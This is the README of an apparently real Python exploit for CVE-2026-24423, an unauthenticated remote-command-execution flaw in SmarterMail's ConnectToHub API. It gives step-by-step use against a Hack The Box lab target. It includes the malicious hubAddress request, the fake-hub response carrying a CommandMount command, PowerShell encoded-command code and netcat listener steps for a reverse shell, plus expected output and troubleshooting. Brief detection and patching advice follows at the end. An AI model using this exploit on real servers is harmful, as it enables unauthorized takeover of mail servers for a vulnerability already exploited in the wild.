
Эксплойт для CVE-2026-24423 — критическая неаутентифицированная RCE в API ConnectToHub продукта SmarterMail. Затрагивает все сборки до 9511.
Python-эксплойт для CVE-2026-24423 — неаутентифицированной уязвимости удалённого выполнения кода в функциональности ConnectToHub продукта SmarterTools SmarterMail.
Предназначение: Только авторизованное тестирование безопасности, CTF, лаборатории Hack The Box и контролируемые исследовательские среды.
CVE-2026-24423 — это неаутентифицированная уязвимость удалённого выполнения кода, затрагивающая SmarterTools SmarterMail.
Уязвимость существует в функциональности ConnectToHub. Неаутентифицированный злоумышленник может указать вредоносный hubAddress, в результате чего сервер SmarterMail выполнит HTTP-запрос к серверу, контролируемому злоумышленником.
Вредоносный сервер отвечает сформированным ответом setup-initial-connection, содержащим контролируемое значение SystemMount.CommandMount.
Уязвимый экземпляр SmarterMail впоследствии обрабатывает это значение как команду операционной системы, что позволяет выполнять произвольные команды в контексте безопасности службы SmarterMail.
Уязвимости присвоен показатель CVSS 4.0 — 9.3 (критический), и она классифицирована как CWE-306: Отсутствие аутентификации для критической функции.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-24423 |
| Производитель | SmarterTools |
| Продукт | SmarterMail |
| Уязвимость | Неаутентифицированное удалённое выполнение кода |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Критический |
| CVSS v3.1 | 9.8 Критический |
| Вектор атаки | Сеть |
| Аутентификация | Не требуется |
| Взаимодействие с пользователем | Не требуется |
| Сложность | Низкая |
| Опубликовано | 23 января 2026 г. |
| Исправленная сборка | 9511 |
Официальная запись CVE описывает проблему как неаутентифицированное RCE через метод API ConnectToHub.
Уязвимы версии SmarterMail до Build 9511.
Запись CVE определяет затронутый диапазон как:
SmarterMail < 100.0.9511
Сборка 9511, выпущенная 15 января 2026 г., содержит исправление производителя.
< 100.0.9511
>= 100.0.9511
Всегда проверяйте точную установленную сборку перед попыткой воспроизведения уязвимости.
Уязвимая функциональность доступна через API системного администрирования SmarterMail.
Соответствующая операция:
/api/v1/settings/sysadmin/connect-to-hub
Конечная точка принимает параметр hubAddress.
Концептуально злоумышленник может указать:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
Затем SmarterMail подключается к указанному адресу хаба и запрашивает:
/web/api/node-management/setup-initial-connection
Сервер, контролируемый злоумышленником, отвечает JSON, содержащим вредоносный объект SystemMount.
Важное свойство:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Значение CommandMount впоследствии используется уязвимым приложением как команда операционной системы.
Это позволяет злоумышленнику перейти от:
Неаутентифицированный HTTP-запрос
к:
Удалённое выполнение команд
Технический анализ VulnCheck подтверждает, что контролируемый злоумышленником hubAddress заставляет SmarterMail запрашивать конечную точку setup-initial-connection злоумышленника, а возвращаемый CommandMount может обеспечить произвольное выполнение команд.
Эксплойт состоит из двух компонентов:
Python-сервер прослушивает:
POST /web/api/node-management/setup-initial-connection
и возвращает сформированный JSON-ответ, содержащий вредоносный SystemMount.CommandMount.
Отдельный TCP-слушатель принимает соединение, инициированное командой, выполненной на цели.
Этот эксплойт намеренно использует два отдельных порта.
8081
└── Поддельный хаб SmarterMail
4455
└── Слушатель обратной оболочки
flowchart LR
A[Злоумышленник<br/>10.10.14.50]
H[Поддельный хаб SmarterMail<br/>TCP/8081]
T[Цель SmarterMail<br/>10.129.57.86]
C[CommandMount<br/>Выполнение команд]
P[PowerShell]
L[Слушатель обратной оболочки<br/>TCP/4455]
A -->|Запуск ConnectToHub| T
T -->|HTTP POST| H
H -->|Вредоносный JSON| T
T -->|CommandMount| C
C --> P
P -->|Обратный TCP| L
L --> AЦель
|
| HTTP
v
10.10.14.50:8081
Цель
|
| TCP
v
10.10.14.50:4455
Эти порты служат разным целям, и их не следует путать.
Эксплойт использует только модули стандартной библиотеки Python:
http.server
json
base64
Внешние Python-пакеты не требуются.
Отредактируйте следующие переменные:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Для примера среды HTB:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST — это IP-адрес атакующего, доступный для цели.
Для Hack The Box это обычно IP-адрес, назначенный VPN-интерфейсу HTB:
ip addr show tun0
Пример:
tun0:
inet 10.10.14.50
Следовательно:
LHOST = "10.10.14.50"
LPORT — это TCP-порт, используемый атакующим для приёма обратного соединения.
Пример:
LPORT = 4455
HUB_PORT — это HTTP-порт, используемый вредоносным хабом SmarterMail.
Пример:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
Отредактируйте:
nano exploit.py
Установите:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Откройте терминал:
nc -lvnp 4455
Ожидаемый результат:
Listening on 0.0.0.0 4455
Держите этот терминал открытым.
Откройте второй терминал:
python3 exploit.py
Если для привязки к выбранному порту требуются повышенные привилегии:
sudo python3 exploit.py
Ожидаемый результат:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
Отправьте соответствующий запрос на уязвимый экземпляр SmarterMail.
Указанный hubAddress должен указывать на вредоносный HTTP-сервер:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
Важное значение:
http://10.10.14.50:8081
Не используйте порт обратной оболочки в качестве порта хаба.
| Назначение | IP | Порт |
|---|---|---|
| VPN атакующего | 10.10.14.50 | — |
| Поддельный хаб SmarterMail | 10.10.14.50 | 8081 |
| Обратная оболочка | 10.10.14.50 | 4455 |
| Цель HTB | 10.129.57.86 | — |
Результирующий поток:
hubAddress
↓
10.10.14.50:8081
↓
Вредоносный CommandMount
↓
PowerShell
↓
10.10.14.50:4455
Эксплойт динамически создаёт полезную нагрузку PowerShell.
Параметр -EncodedCommand в PowerShell ожидает, что команда будет закодирована в UTF-16LE перед кодированием Base64.
Скрипт выполняет:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
Итоговая команда имеет структуру:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
Это позволяет избежать ручного кодирования полезной нагрузки и предотвращает типичные ошибки кодирования UTF-8/UTF-16LE.
Когда цель обращается к вредоносному хабу:
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
Слушатель обратной оболочки должен впоследствии получить соединение:
Connection received on 10.129.57.86 XXXXX
После подключения можно выполнить базовую проверку:
whoami
hostname
Проверьте, что сервер прослушивает порт:
ss -lntp | grep 8081
Проверьте VPN-адрес:
ip addr show tun0
Убедитесь, что LHOST соответствует адресу, доступному с цели.
Успешный HTTP-запрос означает, что первый этап работает:
Цель
|
| HTTP
v
Поддельный хаб :8081
Это не обязательно означает, что второй этап прошёл успешно.
Проверьте:
ss -lntp | grep 4455
Убедитесь, что Netcat был запущен до запуска эксплойта.
Также проверьте:
LHOST = доступный для цели IP атакующего
LPORT = порт слушателя
Если вы видите:
POST /web/api/node-management/setup-initial-connection
внутри Netcat, значит, вы указали hubAddress на слушатель обратной оболочки.
Неправильно:
hubAddress = http://10.10.14.50:4455
Правильно:
hubAddress = http://10.10.14.50:8081
Два порта должны оставаться раздельными.
Ответ 400 может возникнуть, когда поддельный хаб не возвращает структуру, ожидаемую SmarterMail.
Убедитесь, что ответ содержит:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Также убедитесь, что запрашиваемый путь точно такой:
/web/api/node-management/setup-initial-connection
Публичный анализ уязвимости идентифицирует эту конечную точку как часть уязвимого потока ConnectToHub.
Добавьте сюда скриншоты из лаборатории HTB.
Пример:

Рекомендуемые скриншоты:

Покажите:
[+] Received SmarterMail connection
[+] Sending CommandMount payload

Покажите запрос, содержащий:
{
"hubAddress": "http://10.10.14.50:8081"
}

Покажите:
Connection received on 10.129.57.86
и результирующее приглашение командной строки.
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
Возможные индикаторы эксплуатации включают неожиданные запросы к:
/api/v1/settings/sysadmin/connect-to-hub
и исходящие соединения от сервера SmarterMail к ранее неизвестным HTTP-хостам.
Администраторам также следует проверять журналы приложения, IIS/обратного прокси и сетевые журналы на предмет подозрительной активности ConnectToHub.
CVE-2026-24423 включён в каталог Known Exploited Vulnerabilities CISA, что указывает на то, что эксплуатация наблюдалась за пределами лабораторных сред.
Основное средство устранения — обновление SmarterMail до Build 9511 или новее. Релиз производителя от 15 января 2026 г. устранил уязвимость.
Если немедленное исправление невозможно, организациям следует дополнительно рассмотреть:
ConnectToHub.Этот проект предоставляется только для авторизованных исследований в области безопасности и образовательных целей.
Не используйте этот эксплойт против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Автор не несёт ответственности за неправомерное использование, ущерб, потерю данных, несанкционированный доступ или иные последствия, возникшие в результате использования данного программного обеспечения.
Используйте только в контролируемых средах, таких как:
CVE-2026-24423 была приписана:
CVE была опубликована VulnCheck 23 января 2026 г.